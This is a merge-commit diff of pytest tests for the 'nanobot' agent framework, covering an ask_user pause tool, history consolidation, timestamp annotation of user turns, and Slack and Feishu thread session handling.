Merge origin/main into fix/msteams-prune-stale-refs

Resolve the MSTeams stale-reference cleanup conflict by keeping the PR's locked, atomic sidecar-meta implementation and aligning the merged test expectation locally.

Made-with: Cursor

tests/agent/test_ask_user.py

@@ -0,0 +1,241 @@
+import asyncio
+from unittest.mock import MagicMock
+
+import pytest
+
+from nanobot.agent.loop import AgentLoop
+from nanobot.agent.runner import AgentRunner, AgentRunSpec
+from nanobot.agent.tools.ask import AskUserInterrupt, AskUserTool
+from nanobot.agent.tools.base import Tool, tool_parameters
+from nanobot.agent.tools.registry import ToolRegistry
+from nanobot.agent.tools.schema import tool_parameters_schema
+from nanobot.bus.events import InboundMessage
+from nanobot.bus.queue import MessageBus
+from nanobot.providers.base import GenerationSettings, LLMResponse, ToolCallRequest
+
+
+def _make_provider(chat_with_retry):
+    async def chat_stream_with_retry(**kwargs):
+        kwargs.pop("on_content_delta", None)
+        return await chat_with_retry(**kwargs)
+
+    provider = MagicMock()
+    provider.get_default_model.return_value = "test-model"
+    provider.generation = GenerationSettings()
+    provider.chat_with_retry = chat_with_retry
+    provider.chat_stream_with_retry = chat_stream_with_retry
+    return provider
+
+
+def test_ask_user_tool_schema_and_interrupt():
+    tool = AskUserTool()
+    schema = tool.to_schema()["function"]
+
+    assert schema["name"] == "ask_user"
+    assert "question" in schema["parameters"]["required"]
+    assert schema["parameters"]["properties"]["options"]["type"] == "array"
+
+    with pytest.raises(AskUserInterrupt) as exc:
+        asyncio.run(tool.execute("Continue?", options=["Yes", "No"]))
+
+    assert exc.value.question == "Continue?"
+    assert exc.value.options == ["Yes", "No"]
+
+
+@pytest.mark.asyncio
+async def test_runner_pauses_on_ask_user_without_executing_later_tools():
+    @tool_parameters(tool_parameters_schema(required=[]))
+    class LaterTool(Tool):
+        called = False
+
+        @property
+        def name(self) -> str:
+            return "later"
+
+        @property
+        def description(self) -> str:
+            return "Should not run after ask_user pauses the turn."
+
+        async def execute(self, **kwargs):
+            self.called = True
+            return "later result"
+
+    async def chat_with_retry(**kwargs):
+        return LLMResponse(
+            content="",
+            finish_reason="tool_calls",
+            tool_calls=[
+                ToolCallRequest(
+                    id="call_ask",
+                    name="ask_user",
+                    arguments={"question": "Install this package?", "options": ["Yes", "No"]},
+                ),
+                ToolCallRequest(id="call_later", name="later", arguments={}),
+            ],
+        )
+
+    later = LaterTool()
+    tools = ToolRegistry()
+    tools.register(AskUserTool())
+    tools.register(later)
+
+    result = await AgentRunner(_make_provider(chat_with_retry)).run(AgentRunSpec(
+        initial_messages=[{"role": "user", "content": "continue"}],
+        tools=tools,
+        model="test-model",
+        max_iterations=3,
+        max_tool_result_chars=16_000,
+        concurrent_tools=True,
+    ))
+
+    assert result.stop_reason == "ask_user"
+    assert result.final_content == "Install this package?"
+    assert "ask_user" in result.tools_used
+    assert later.called is False
+    assert result.messages[-1]["role"] == "assistant"
+    tool_calls = result.messages[-1]["tool_calls"]
+    assert [tool_call["function"]["name"] for tool_call in tool_calls] == ["ask_user"]
+    assert not any(message.get("name") == "ask_user" for message in result.messages)
+
+
+@pytest.mark.asyncio
+async def test_ask_user_text_fallback_resumes_with_next_message(tmp_path):
+    seen_messages: list[list[dict]] = []
+
+    async def chat_with_retry(**kwargs):
+        seen_messages.append(kwargs["messages"])
+        if len(seen_messages) == 1:
+            return LLMResponse(
+                content="",
+                finish_reason="tool_calls",
+                tool_calls=[
+                    ToolCallRequest(
+                        id="call_ask",
+                        name="ask_user",
+                        arguments={
+                            "question": "Install the optional package?",
+                            "options": ["Install", "Skip"],
+                        },
+                    )
+                ],
+            )
+        return LLMResponse(content="Skipped install.", usage={})
+
+    loop = AgentLoop(
+        bus=MessageBus(),
+        provider=_make_provider(chat_with_retry),
+        workspace=tmp_path,
+        model="test-model",
+    )
+
+    async def on_stream(delta: str) -> None:
+        pass
+
+    async def on_stream_end(**kwargs) -> None:
+        pass
+
+    first = await loop._process_message(
+        InboundMessage(channel="cli", sender_id="user", chat_id="direct", content="set it up"),
+        on_stream=on_stream,
+        on_stream_end=on_stream_end,
+    )
+
+    assert first is not None
+    assert first.content == "Install the optional package?\n\n1. Install\n2. Skip"
+    assert first.buttons == []
+    assert "_streamed" not in first.metadata
+
+    session = loop.sessions.get_or_create("cli:direct")
+    assert any(message.get("role") == "assistant" and message.get("tool_calls") for message in session.messages)
+    assert not any(message.get("role") == "tool" and message.get("name") == "ask_user" for message in session.messages)
+
+    second = await loop._process_message(
+        InboundMessage(channel="cli", sender_id="user", chat_id="direct", content="Skip")
+    )
+
+    assert second is not None
+    assert second.content == "Skipped install."
+    assert any(
+        message.get("role") == "tool"
+        and message.get("name") == "ask_user"
+        and message.get("content") == "Skip"
+        for message in seen_messages[-1]
+    )
+    assert not any(
+        message.get("role") == "user" and message.get("content") == "Skip"
+        for message in session.messages
+    )
+    assert any(
+        message.get("role") == "tool"
+        and message.get("name") == "ask_user"
+        and message.get("content") == "Skip"
+        for message in session.messages
+    )
+
+
+@pytest.mark.asyncio
+async def test_ask_user_keeps_buttons_for_telegram(tmp_path):
+    async def chat_with_retry(**kwargs):
+        return LLMResponse(
+            content="",
+            finish_reason="tool_calls",
+            tool_calls=[
+                ToolCallRequest(
+                    id="call_ask",
+                    name="ask_user",
+                    arguments={
+                        "question": "Install the optional package?",
+                        "options": ["Install", "Skip"],
+                    },
+                )
+            ],
+        )
+
+    loop = AgentLoop(
+        bus=MessageBus(),
+        provider=_make_provider(chat_with_retry),
+        workspace=tmp_path,
+        model="test-model",
+    )
+
+    response = await loop._process_message(
+        InboundMessage(channel="telegram", sender_id="user", chat_id="123", content="set it up")
+    )
+
+    assert response is not None
+    assert response.content == "Install the optional package?"
+    assert response.buttons == [["Install", "Skip"]]
+
+
+@pytest.mark.asyncio
+async def test_ask_user_keeps_buttons_for_websocket(tmp_path):
+    async def chat_with_retry(**kwargs):
+        return LLMResponse(
+            content="",
+            finish_reason="tool_calls",
+            tool_calls=[
+                ToolCallRequest(
+                    id="call_ask",
+                    name="ask_user",
+                    arguments={
+                        "question": "Install the optional package?",
+                        "options": ["Install", "Skip"],
+                    },
+                )
+            ],
+        )
+
+    loop = AgentLoop(
+        bus=MessageBus(),
+        provider=_make_provider(chat_with_retry),
+        workspace=tmp_path,
+        model="test-model",
+    )
+
+    response = await loop._process_message(
+        InboundMessage(channel="websocket", sender_id="user", chat_id="123", content="set it up")
+    )
+
+    assert response is not None
+    assert response.content == "Install the optional package?"
+    assert response.buttons == [["Install", "Skip"]]

tests/agent/test_consolidation_ratio.py

@@ -0,0 +1,108 @@
+"""Tests for configurable consolidation_ratio."""
+
+from unittest.mock import AsyncMock, MagicMock
+
+import pytest
+from pydantic import ValidationError
+
+import nanobot.agent.memory as memory_module
+from nanobot.agent.loop import AgentLoop
+from nanobot.bus.queue import MessageBus
+from nanobot.config.schema import AgentDefaults
+from nanobot.providers.base import GenerationSettings, LLMResponse
+
+
+def _make_loop(
+    tmp_path,
+    *,
+    estimated_tokens: int = 0,
+    context_window_tokens: int = 200,
+    consolidation_ratio: float = 0.5,
+) -> AgentLoop:
+    provider = MagicMock()
+    provider.get_default_model.return_value = "test-model"
+    provider.generation = GenerationSettings(max_tokens=0)
+    provider.estimate_prompt_tokens.return_value = (estimated_tokens, "test-counter")
+    _response = LLMResponse(content="ok", tool_calls=[])
+    provider.chat_with_retry = AsyncMock(return_value=_response)
+    provider.chat_stream_with_retry = AsyncMock(return_value=_response)
+
+    loop = AgentLoop(
+        bus=MessageBus(),
+        provider=provider,
+        workspace=tmp_path,
+        model="test-model",
+        context_window_tokens=context_window_tokens,
+        consolidation_ratio=consolidation_ratio,
+    )
+    loop.tools.get_definitions = MagicMock(return_value=[])
+    loop.consolidator._SAFETY_BUFFER = 0
+    return loop
+
+
+def _session_with_turns(loop: AgentLoop, *, turns: int):
+    session = loop.sessions.get_or_create("cli:test")
+    session.messages = []
+    for i in range(turns):
+        session.messages.append({"role": "user", "content": f"u{i}", "timestamp": f"2026-01-01T00:00:{i:02d}"})
+        session.messages.append({"role": "assistant", "content": f"a{i}", "timestamp": f"2026-01-01T00:01:{i:02d}"})
+    loop.sessions.save(session)
+    return session
+
+
+@pytest.mark.asyncio
+@pytest.mark.parametrize(
+    ("ratio", "context_window_tokens", "estimates", "expected_archives"),
+    [
+        (0.5, 200, [250, 90], 1),
+        (0.1, 1000, [1200, 800, 400, 50], 2),
+        (0.9, 200, [300, 175], 1),
+    ],
+)
+async def test_consolidation_ratio_controls_target(
+    tmp_path,
+    monkeypatch,
+    ratio: float,
+    context_window_tokens: int,
+    estimates: list[int],
+    expected_archives: int,
+) -> None:
+    loop = _make_loop(
+        tmp_path,
+        context_window_tokens=context_window_tokens,
+        consolidation_ratio=ratio,
+    )
+    loop.consolidator.archive = AsyncMock(return_value=True)  # type: ignore[method-assign]
+    session = _session_with_turns(loop, turns=10)
+
+    remaining_estimates = list(estimates)
+
+    def mock_estimate(_session, *, session_summary=None):
+        assert session_summary is None
+        return (remaining_estimates.pop(0), "test")
+
+    loop.consolidator.estimate_session_prompt_tokens = mock_estimate  # type: ignore[method-assign]
+    monkeypatch.setattr(memory_module, "estimate_message_tokens", lambda _m: 100)
+
+    await loop.consolidator.maybe_consolidate_by_tokens(session)
+
+    assert loop.consolidator.archive.await_count == expected_archives
+
+
+def test_ratio_propagated_from_config_schema() -> None:
+    defaults = AgentDefaults()
+    assert defaults.consolidation_ratio == 0.5
+
+    defaults = AgentDefaults.model_validate({"consolidationRatio": 0.3})
+    assert defaults.consolidation_ratio == 0.3
+
+    dumped = defaults.model_dump(by_alias=True)
+    assert dumped["consolidationRatio"] == 0.3
+
+
+def test_ratio_validation_rejects_out_of_range() -> None:
+    with pytest.raises(ValidationError):
+        AgentDefaults(consolidation_ratio=0.05)
+
+    with pytest.raises(ValidationError):
+        AgentDefaults(consolidation_ratio=1.0)

tests/agent/test_context_prompt_cache.py

@@ -188,6 +188,17 @@ def test_identity_has_no_behavioral_instructions(tmp_path) -> None:
     assert "Execution Rules" not in identity
 
 
+def test_system_prompt_does_not_warn_about_message_time_markers(tmp_path) -> None:
+    """Parroting is prevented by not annotating assistant turns in history;
+    no prompt-level warning about ``[Message Time: ...]`` is needed."""
+    workspace = _make_workspace(tmp_path)
+    builder = ContextBuilder(workspace)
+
+    prompt = builder.build_system_prompt()
+
+    assert "Message Time" not in prompt
+
+
 def test_default_soul_template_contains_execution_rules() -> None:
     """Default SOUL.md template must contain execution rules with act/plan layering."""
     soul = (pkg_files("nanobot") / "templates" / "SOUL.md").read_text(encoding="utf-8")

tests/agent/test_loop_save_turn.py

@@ -535,7 +535,14 @@ async def test_system_subagent_followup_is_persisted_before_prompt_assembly(tmp_
     )
 
     non_system = [m for m in seen["initial_messages"] if m.get("role") != "system"]
-    assert [m["content"] for m in non_system[:2]] == ["question", "working"]
+    assert "question" in non_system[0]["content"]
+    assert "working" in non_system[1]["content"]
+    # User turns carry the timestamp prefix so the model can reason about
+    # relative time. Assistant turns do NOT, otherwise the model treats those
+    # past replies as in-context examples and starts its own outputs with
+    # ``[Message Time: ...]`` (which then leaks back to the user).
+    assert "[Message Time:" in non_system[0]["content"]
+    assert "[Message Time:" not in non_system[1]["content"]
     assert non_system[2]["content"].count("subagent result") == 1
     assert "Current Time:" in non_system[2]["content"]
 
@@ -657,3 +664,63 @@ def test_subagent_followup_skips_empty_content() -> None:
 
     assert loop._persist_subagent_followup(session, msg) is False
     assert session.messages == []
+
+
+def test_set_tool_context_passes_thread_session_key_to_spawn(tmp_path: Path) -> None:
+    loop = _make_full_loop(tmp_path)
+
+    loop._set_tool_context(
+        "slack",
+        "C123",
+        metadata={"slack": {"thread_ts": "1700.42", "channel_type": "channel"}},
+        session_key="slack:C123:1700.42",
+    )
+
+    spawn_tool = loop.tools.get("spawn")
+    assert spawn_tool is not None
+    assert spawn_tool._session_key.get() == "slack:C123:1700.42"
+
+
+@pytest.mark.asyncio
+async def test_system_subagent_followup_uses_thread_session_and_slack_metadata(tmp_path: Path) -> None:
+    loop = _make_full_loop(tmp_path)
+    loop.consolidator.maybe_consolidate_by_tokens = AsyncMock(return_value=False)  # type: ignore[method-assign]
+
+    thread_session = loop.sessions.get_or_create("slack:C123:1700.42")
+    thread_session.add_message("user", "thread question")
+    loop.sessions.save(thread_session)
+
+    seen: dict[str, list[dict]] = {}
+
+    async def fake_run_agent_loop(initial_messages, **_kwargs):
+        seen["initial_messages"] = initial_messages
+        return (
+            "done",
+            [],
+            [*initial_messages, {"role": "assistant", "content": "done"}],
+            "stop",
+            False,
+        )
+
+    loop._run_agent_loop = fake_run_agent_loop  # type: ignore[method-assign]
+
+    outbound = await loop._process_message(
+        InboundMessage(
+            channel="system",
+            sender_id="subagent",
+            chat_id="slack:C123",
+            content="subagent result",
+            session_key_override="slack:C123:1700.42",
+            metadata={"subagent_task_id": "sub-1"},
+        )
+    )
+
+    assert outbound is not None
+    assert outbound.channel == "slack"
+    assert outbound.chat_id == "C123"
+    assert outbound.metadata == {"slack": {"thread_ts": "1700.42"}}
+    assert "thread question" in seen["initial_messages"][1]["content"]
+
+    loop.sessions.invalidate("slack:C123:1700.42")
+    persisted = loop.sessions.get_or_create("slack:C123:1700.42")
+    assert any(m.get("subagent_task_id") == "sub-1" for m in persisted.messages)

tests/agent/test_loop_tool_context.py

@@ -0,0 +1,90 @@
+from pathlib import Path
+from unittest.mock import MagicMock
+
+import pytest
+
+from nanobot.agent.loop import AgentLoop
+from nanobot.bus.queue import MessageBus
+from nanobot.providers.base import LLMResponse, ToolCallRequest
+
+
+class _ContextRecordingTool:
+    name = "cron"
+    concurrency_safe = False
+
+    def __init__(self) -> None:
+        self.contexts: list[dict] = []
+
+    def set_context(
+        self,
+        channel: str,
+        chat_id: str,
+        metadata: dict | None = None,
+        session_key: str | None = None,
+    ) -> None:
+        self.contexts.append({
+            "channel": channel,
+            "chat_id": chat_id,
+            "metadata": metadata,
+            "session_key": session_key,
+        })
+
+    async def execute(self, **_kwargs) -> str:
+        return "created"
+
+
+class _Tools:
+    def __init__(self, tool: _ContextRecordingTool) -> None:
+        self.tool = tool
+
+    def get(self, name: str):
+        return self.tool if name == "cron" else None
+
+    def get_definitions(self) -> list:
+        return []
+
+    def prepare_call(self, name: str, arguments: dict):
+        return (self.tool, arguments, None) if name == "cron" else (None, arguments, None)
+
+
+@pytest.mark.asyncio
+async def test_loop_hook_preserves_metadata_when_resetting_tool_context(tmp_path: Path) -> None:
+    provider = MagicMock()
+    calls = {"n": 0}
+
+    async def chat_with_retry(**_kwargs):
+        calls["n"] += 1
+        if calls["n"] == 1:
+            return LLMResponse(
+                content=None,
+                tool_calls=[ToolCallRequest(id="call_1", name="cron", arguments={"action": "add"})],
+            )
+        return LLMResponse(content="done", tool_calls=[])
+
+    provider.chat_with_retry = chat_with_retry
+    provider.get_default_model.return_value = "test-model"
+
+    loop = AgentLoop(
+        bus=MessageBus(),
+        provider=provider,
+        workspace=tmp_path,
+        model="test-model",
+    )
+    cron = _ContextRecordingTool()
+    loop.tools = _Tools(cron)
+
+    metadata = {"slack": {"thread_ts": "111.222", "channel_type": "channel"}}
+    await loop._run_agent_loop(
+        [],
+        channel="slack",
+        chat_id="C123",
+        metadata=metadata,
+        session_key="slack:C123:111.222",
+    )
+
+    assert cron.contexts[-1] == {
+        "channel": "slack",
+        "chat_id": "C123",
+        "metadata": metadata,
+        "session_key": "slack:C123:111.222",
+    }

tests/agent/test_runner.py

@@ -1060,11 +1060,10 @@ async def test_next_turn_after_llm_error_keeps_turn_boundary(tmp_path):
 
     request_messages = provider.chat_with_retry.await_args_list[1].kwargs["messages"]
     non_system = [message for message in request_messages if message.get("role") != "system"]
-    assert non_system[0] == {"role": "user", "content": "first question"}
-    assert non_system[1] == {
-        "role": "assistant",
-        "content": _PERSISTED_MODEL_ERROR_PLACEHOLDER,
-    }
+    assert non_system[0]["role"] == "user"
+    assert "first question" in non_system[0]["content"]
+    assert non_system[1]["role"] == "assistant"
+    assert _PERSISTED_MODEL_ERROR_PLACEHOLDER in non_system[1]["content"]
     assert non_system[2]["role"] == "user"
     assert "second question" in non_system[2]["content"]
 

tests/agent/test_runtime_refresh.py

@@ -0,0 +1,49 @@
+from pathlib import Path
+from types import SimpleNamespace
+from unittest.mock import MagicMock
+
+from nanobot.agent.loop import AgentLoop
+from nanobot.bus.queue import MessageBus
+from nanobot.providers.factory import ProviderSnapshot
+
+
+def _provider(default_model: str, max_tokens: int = 123) -> MagicMock:
+    provider = MagicMock()
+    provider.get_default_model.return_value = default_model
+    provider.generation = SimpleNamespace(max_tokens=max_tokens)
+    return provider
+
+
+def test_provider_refresh_updates_all_model_dependents(tmp_path: Path) -> None:
+    old_provider = _provider("old-model")
+    new_provider = _provider("new-model", max_tokens=456)
+    loop = AgentLoop(
+        bus=MessageBus(),
+        provider=old_provider,
+        workspace=tmp_path,
+        model="old-model",
+        context_window_tokens=1000,
+        provider_snapshot_loader=lambda: ProviderSnapshot(
+            provider=new_provider,
+            model="new-model",
+            context_window_tokens=2000,
+            signature=("new-model",),
+        ),
+    )
+
+    loop._refresh_provider_snapshot()
+
+    assert loop.provider is new_provider
+    assert loop.model == "new-model"
+    assert loop.context_window_tokens == 2000
+    assert loop.runner.provider is new_provider
+    assert loop.subagents.provider is new_provider
+    assert loop.subagents.model == "new-model"
+    assert loop.subagents.runner.provider is new_provider
+    assert loop.consolidator.provider is new_provider
+    assert loop.consolidator.model == "new-model"
+    assert loop.consolidator.context_window_tokens == 2000
+    assert loop.consolidator.max_completion_tokens == 456
+    assert loop.dream.provider is new_provider
+    assert loop.dream.model == "new-model"
+    assert loop.dream._runner.provider is new_provider

tests/agent/test_session_manager_history.py

@@ -194,6 +194,87 @@ def test_get_history_preserves_reasoning_content():
     ]
 
 
+def test_get_history_annotates_user_turns_but_not_assistant_turns():
+    """Only user turns carry the timestamp prefix.
+
+    Annotating assistant turns trains the model (via in-context examples) to
+    start its own replies with ``[Message Time: ...]``. User-side stamps are
+    enough to pin adjacent assistant replies for relative-time reasoning.
+    """
+    session = Session(key="test:timestamps")
+    session.messages.append({
+        "role": "user",
+        "content": "10 点提醒是昨天发生的",
+        "timestamp": "2026-04-26T22:00:00",
+    })
+    session.messages.append({
+        "role": "assistant",
+        "content": "记下来了",
+        "timestamp": "2026-04-26T22:00:05",
+    })
+
+    history = session.get_history(max_messages=500, include_timestamps=True)
+
+    assert history == [
+        {
+            "role": "user",
+            "content": "[Message Time: 2026-04-26T22:00:00]\n10 点提醒是昨天发生的",
+        },
+        {
+            "role": "assistant",
+            "content": "记下来了",
+        },
+    ]
+
+
+def test_get_history_annotates_proactive_assistant_deliveries_with_timestamps():
+    """Cron / heartbeat assistant pushes still carry a timestamp prefix.
+
+    These proactive deliveries can sit hours away from the next user reply,
+    so the model needs to know when they fired. They are rare enough that
+    they don't act as in-context demonstrations encouraging the model to
+    prefix its own normal replies with ``[Message Time: ...]``.
+    """
+    session = Session(key="test:proactive-timestamps")
+    session.messages.append({
+        "role": "assistant",
+        "content": "记得喝水",
+        "timestamp": "2026-04-26T15:00:00",
+        "_channel_delivery": True,
+    })
+    session.messages.append({
+        "role": "user",
+        "content": "好",
+        "timestamp": "2026-04-26T18:00:00",
+    })
+
+    history = session.get_history(max_messages=500, include_timestamps=True)
+
+    assert history == [
+        {
+            "role": "assistant",
+            "content": "[Message Time: 2026-04-26T15:00:00]\n记得喝水",
+        },
+        {
+            "role": "user",
+            "content": "[Message Time: 2026-04-26T18:00:00]\n好",
+        },
+    ]
+
+
+def test_get_history_does_not_annotate_tool_results_with_timestamps():
+    session = Session(key="test:tool-timestamps")
+    session.messages.append({"role": "user", "content": "run tool"})
+    session.messages.extend(_tool_turn("ts", 0))
+    session.messages[-1]["timestamp"] = "2026-04-26T22:00:10"
+
+    history = session.get_history(max_messages=500, include_timestamps=True)
+
+    tool_result = history[-1]
+    assert tool_result["role"] == "tool"
+    assert tool_result["content"] == "ok"
+
+
 # --- Window cuts mid-group: assistant present but some tool results orphaned ---
 
 def test_window_cuts_mid_tool_group():

tests/channels/test_feishu_reaction.py

@@ -1,6 +1,6 @@
 """Tests for Feishu reaction add/remove and auto-cleanup on stream end."""
 from types import SimpleNamespace
-from unittest.mock import AsyncMock, MagicMock, patch
+from unittest.mock import AsyncMock, MagicMock
 
 import pytest
 
@@ -160,19 +160,38 @@ class TestRemoveReactionAsync:
 
 
 class TestStreamEndReactionCleanup:
+    @pytest.mark.asyncio
+    async def test_stream_buffers_are_scoped_by_message_id(self):
+        ch = _make_channel()
+        ch._create_streaming_card_sync = MagicMock(return_value=None)
+
+        await ch.send_delta(
+            "oc_chat1", "first",
+            metadata={"message_id": "om_first"},
+        )
+        await ch.send_delta(
+            "oc_chat1", "second",
+            metadata={"message_id": "om_second"},
+        )
+
+        assert ch._stream_bufs["om_first"].text == "first"
+        assert ch._stream_bufs["om_second"].text == "second"
+        assert "oc_chat1" not in ch._stream_bufs
+
     @pytest.mark.asyncio
     async def test_removes_reaction_on_stream_end(self):
         ch = _make_channel()
         ch._stream_bufs["oc_chat1"] = _FeishuStreamBuf(
             text="Done", card_id="card_1", sequence=3, last_edit=0.0,
         )
+        ch._reaction_ids["om_001"] = "rx_42"
         ch._client.cardkit.v1.card_element.content.return_value = MagicMock(success=MagicMock(return_value=True))
         ch._client.cardkit.v1.card.settings.return_value = MagicMock(success=MagicMock(return_value=True))
         ch._remove_reaction = AsyncMock()
 
         await ch.send_delta(
             "oc_chat1", "",
-            metadata={"_stream_end": True, "message_id": "om_001", "reaction_id": "rx_42"},
+            metadata={"_stream_end": True, "message_id": "om_001"},
         )
 
         ch._remove_reaction.assert_called_once_with("om_001", "rx_42")
@@ -189,7 +208,7 @@ class TestStreamEndReactionCleanup:
 
         await ch.send_delta(
             "oc_chat1", "",
-            metadata={"_stream_end": True, "reaction_id": "rx_42"},
+            metadata={"_stream_end": True},
         )
 
         ch._remove_reaction.assert_not_called()

tests/channels/test_feishu_reply.py

@@ -3,7 +3,7 @@ import asyncio
 import json
 from pathlib import Path
 from types import SimpleNamespace
-from unittest.mock import MagicMock, patch
+from unittest.mock import AsyncMock, MagicMock, patch
 
 import pytest
 
@@ -21,18 +21,18 @@ from nanobot.bus.events import OutboundMessage
 from nanobot.bus.queue import MessageBus
 from nanobot.channels.feishu import FeishuChannel, FeishuConfig
 
-
 # ---------------------------------------------------------------------------
 # Helpers
 # ---------------------------------------------------------------------------
 
-def _make_feishu_channel(reply_to_message: bool = False) -> FeishuChannel:
+def _make_feishu_channel(reply_to_message: bool = False, group_policy: str = "mention") -> FeishuChannel:
     config = FeishuConfig(
         enabled=True,
         app_id="cli_test",
         app_secret="secret",
         allow_from=["*"],
         reply_to_message=reply_to_message,
+        group_policy=group_policy,
     )
     channel = FeishuChannel(config, MessageBus())
     channel._client = MagicMock()
@@ -443,3 +443,288 @@ async def test_on_message_no_extra_api_call_when_no_parent_id() -> None:
 
     channel._client.im.v1.message.get.assert_not_called()
     assert len(captured) == 1
+
+
+# ---------------------------------------------------------------------------
+# Session key derivation tests
+# ---------------------------------------------------------------------------
+
+
+@pytest.mark.asyncio
+async def test_session_key_group_with_root_id_is_thread_scoped() -> None:
+    """Group message with root_id gets a thread-scoped session key."""
+    channel = _make_feishu_channel(group_policy="open")
+    bus_spy = []
+    original_publish = channel.bus.publish_inbound
+
+    async def capture(msg):
+        bus_spy.append(msg)
+        await original_publish(msg)
+
+    channel.bus.publish_inbound = capture
+    channel._download_and_save_media = AsyncMock(return_value=(None, ""))
+    channel.transcribe_audio = AsyncMock(return_value="")
+    channel._add_reaction = AsyncMock(return_value=None)
+
+    event = _make_feishu_event(
+        chat_type="group",
+        content='{"text": "hello"}',
+        root_id="om_root123",
+        message_id="om_child456",
+    )
+    await channel._on_message(event)
+
+    assert len(bus_spy) == 1
+    assert bus_spy[0].session_key == "feishu:oc_abc:om_root123"
+
+
+@pytest.mark.asyncio
+async def test_session_key_group_no_root_id_uses_message_id() -> None:
+    """Group message without root_id gets session keyed by message_id (per-message session)."""
+    channel = _make_feishu_channel(group_policy="open")
+    bus_spy = []
+    original_publish = channel.bus.publish_inbound
+
+    async def capture(msg):
+        bus_spy.append(msg)
+        await original_publish(msg)
+
+    channel.bus.publish_inbound = capture
+    channel._download_and_save_media = AsyncMock(return_value=(None, ""))
+    channel.transcribe_audio = AsyncMock(return_value="")
+    channel._add_reaction = AsyncMock(return_value=None)
+
+    event = _make_feishu_event(
+        chat_type="group",
+        content='{"text": "hello"}',
+        root_id=None,
+        message_id="om_001",
+    )
+    await channel._on_message(event)
+
+    assert len(bus_spy) == 1
+    assert bus_spy[0].session_key == "feishu:oc_abc:om_001"
+
+
+@pytest.mark.asyncio
+async def test_session_key_private_chat_no_override() -> None:
+    """Private chat never overrides session key (consistent with Telegram/Slack)."""
+    channel = _make_feishu_channel()
+    bus_spy = []
+    original_publish = channel.bus.publish_inbound
+
+    async def capture(msg):
+        bus_spy.append(msg)
+        await original_publish(msg)
+
+    channel.bus.publish_inbound = capture
+    channel._download_and_save_media = AsyncMock(return_value=(None, ""))
+    channel.transcribe_audio = AsyncMock(return_value="")
+    channel._add_reaction = AsyncMock(return_value=None)
+
+    event = _make_feishu_event(
+        chat_type="p2p",
+        content='{"text": "hello"}',
+        root_id=None,
+        message_id="om_001",
+    )
+    await channel._on_message(event)
+
+    assert len(bus_spy) == 1
+    assert bus_spy[0].session_key_override is None
+
+
+# ---------------------------------------------------------------------------
+# reply_in_thread tests
+# ---------------------------------------------------------------------------
+
+
+@pytest.mark.asyncio
+async def test_reply_uses_reply_in_thread_when_enabled() -> None:
+    """When reply_to_message is True, reply includes reply_in_thread=True."""
+    channel = _make_feishu_channel(reply_to_message=True)
+
+    reply_resp = MagicMock()
+    reply_resp.success.return_value = True
+    channel._client.im.v1.message.reply.return_value = reply_resp
+
+    await channel.send(OutboundMessage(
+        channel="feishu",
+        chat_id="oc_abc",
+        content="hello",
+        metadata={"message_id": "om_001"},
+    ))
+
+    channel._client.im.v1.message.reply.assert_called_once()
+    call_args = channel._client.im.v1.message.reply.call_args
+    request = call_args[0][0]
+    assert request.request_body.reply_in_thread is True
+
+
+@pytest.mark.asyncio
+async def test_reply_without_reply_in_thread_when_disabled() -> None:
+    """When reply_to_message is False, reply does NOT use reply_in_thread."""
+    channel = _make_feishu_channel(reply_to_message=False)
+
+    create_resp = MagicMock()
+    create_resp.success.return_value = True
+    channel._client.im.v1.message.create.return_value = create_resp
+
+    await channel.send(OutboundMessage(
+        channel="feishu",
+        chat_id="oc_abc",
+        content="hello",
+    ))
+
+    # No message_id in metadata → no reply attempt, direct create
+    channel._client.im.v1.message.create.assert_called_once()
+
+
+@pytest.mark.asyncio
+async def test_reply_keeps_fallback_when_reply_fails() -> None:
+    """Even with reply_to_message=True, fallback to create on reply failure."""
+    channel = _make_feishu_channel(reply_to_message=True)
+
+    reply_resp = MagicMock()
+    reply_resp.success.return_value = False
+    reply_resp.code = 99991400
+    reply_resp.msg = "rate limited"
+    channel._client.im.v1.message.reply.return_value = reply_resp
+
+    create_resp = MagicMock()
+    create_resp.success.return_value = True
+    channel._client.im.v1.message.create.return_value = create_resp
+
+    await channel.send(OutboundMessage(
+        channel="feishu",
+        chat_id="oc_abc",
+        content="hello",
+        metadata={"message_id": "om_001"},
+    ))
+
+    channel._client.im.v1.message.reply.assert_called()
+    channel._client.im.v1.message.create.assert_called()
+
+
+@pytest.mark.asyncio
+async def test_reply_no_reply_in_thread_for_p2p_chat() -> None:
+    """reply_in_thread should NOT be set for p2p chats (identified by chat_type)."""
+    channel = _make_feishu_channel(reply_to_message=True)
+
+    reply_resp = MagicMock()
+    reply_resp.success.return_value = True
+    channel._client.im.v1.message.reply.return_value = reply_resp
+
+    await channel.send(OutboundMessage(
+        channel="feishu",
+        chat_id="oc_abc",  # p2p chats also use oc_ prefix
+        content="hello",
+        metadata={"message_id": "om_001", "chat_type": "p2p"},
+    ))
+
+    channel._client.im.v1.message.reply.assert_called_once()
+    call_args = channel._client.im.v1.message.reply.call_args
+    request = call_args[0][0]
+    assert request.request_body.reply_in_thread is not True
+
+
+@pytest.mark.asyncio
+async def test_reply_uses_reply_in_thread_for_group_chat() -> None:
+    """reply_in_thread should be True for group chats (identified by chat_type)."""
+    channel = _make_feishu_channel(reply_to_message=True)
+
+    reply_resp = MagicMock()
+    reply_resp.success.return_value = True
+    channel._client.im.v1.message.reply.return_value = reply_resp
+
+    await channel.send(OutboundMessage(
+        channel="feishu",
+        chat_id="oc_abc",
+        content="hello",
+        metadata={"message_id": "om_001", "chat_type": "group"},
+    ))
+
+    channel._client.im.v1.message.reply.assert_called_once()
+    call_args = channel._client.im.v1.message.reply.call_args
+    request = call_args[0][0]
+    assert request.request_body.reply_in_thread is True
+
+
+@pytest.mark.asyncio
+async def test_reply_targets_message_id_when_in_topic() -> None:
+    """When inbound message is inside a topic (root_id != message_id),
+    the reply should target the inbound message_id (not root_id).
+    The Feishu Reply API keeps the response in the same topic
+    automatically when the target message is already inside a topic."""
+    channel = _make_feishu_channel(reply_to_message=True)
+
+    reply_resp = MagicMock()
+    reply_resp.success.return_value = True
+    channel._client.im.v1.message.reply.return_value = reply_resp
+
+    await channel.send(OutboundMessage(
+        channel="feishu",
+        chat_id="oc_abc",
+        content="hello",
+        metadata={
+            "message_id": "om_child456",
+            "chat_type": "group",
+            "root_id": "om_root123",
+        },
+    ))
+
+    channel._client.im.v1.message.reply.assert_called_once()
+    call_args = channel._client.im.v1.message.reply.call_args
+    request = call_args[0][0]
+    # Should reply to the inbound message_id, not the root
+    assert request.message_id == "om_child456"
+    assert request.request_body.reply_in_thread is True
+
+
+def test_on_reaction_added_stores_reaction_id() -> None:
